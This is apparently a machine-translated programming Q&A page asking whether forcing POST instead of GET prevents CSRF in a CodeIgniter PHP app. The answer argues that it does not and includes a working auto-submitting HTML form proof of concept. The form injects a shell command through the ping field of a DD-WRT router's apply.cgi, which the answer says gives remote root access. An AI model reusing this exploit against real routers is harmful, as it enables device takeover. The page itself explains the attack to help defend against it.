PHP安全使用POST而不是GET来防范XSRF?

Mat*_*hew 5 php security csrf

我有一些像http://mysite.com/module/45/set_name/new-name我的应用程序中的URL ,旨在使用ajax访问.

为了防止XSRF,我强制要求这样的POST请求.随着GET它的琐碎使用下面生成一个XSRF:

<img src="http://mysite.com/module/45/set_name/new-name"/>
Run Code Online (Sandbox Code Playgroud)

使用POST可以防止这种特殊攻击,但这实际上比使用更安全GET吗?如果没有,还有什么可以/应该做的?

谢谢.


编辑:我正在使用CodeIgniter并在我的配置中有以下内容:

$config['csrf_protection'] = TRUE;
$config['csrf_token_name'] = 'csrf_test_name';
$config['csrf_cookie_name'] = 'csrf_cookie_name';
$config['csrf_expire'] = 3600;
Run Code Online (Sandbox Code Playgroud)

我安全吗?拥有CSRF是否有任何缺点?表格除了一小时后到期?

roo*_*ook 3

不修改帖子并不能解决这个问题。您应该阅读跨站请求伪造 (CSRF) 预防备忘单

这是我编写的基于 CSRF 漏洞的 Cocnept POST 证明示例。这使您可以远程 root 访问 DD-WRT

<html>
    <form method="post" action="http://192.168.1.1/apply.cgi" id=1>
        <input name="submit_button" value="Ping" type="hidden">
        <input name="action" value="ApplyTake" type="hidden">
        <input name="submit_type" value="start" type="hidden">
        <input name="change_action" value="gozila_cgi" type="hidden">
        <input name="next_page" value="Diagnostics.asp" type="hidden">
        <input name="ping_ip" value="echo owned">
        <input name="execute command" type="submit">
    </form>
</html>
<script>
    document.getElementById(1).submit();//remote root command execution!
</script>
Run Code Online (Sandbox Code Playgroud)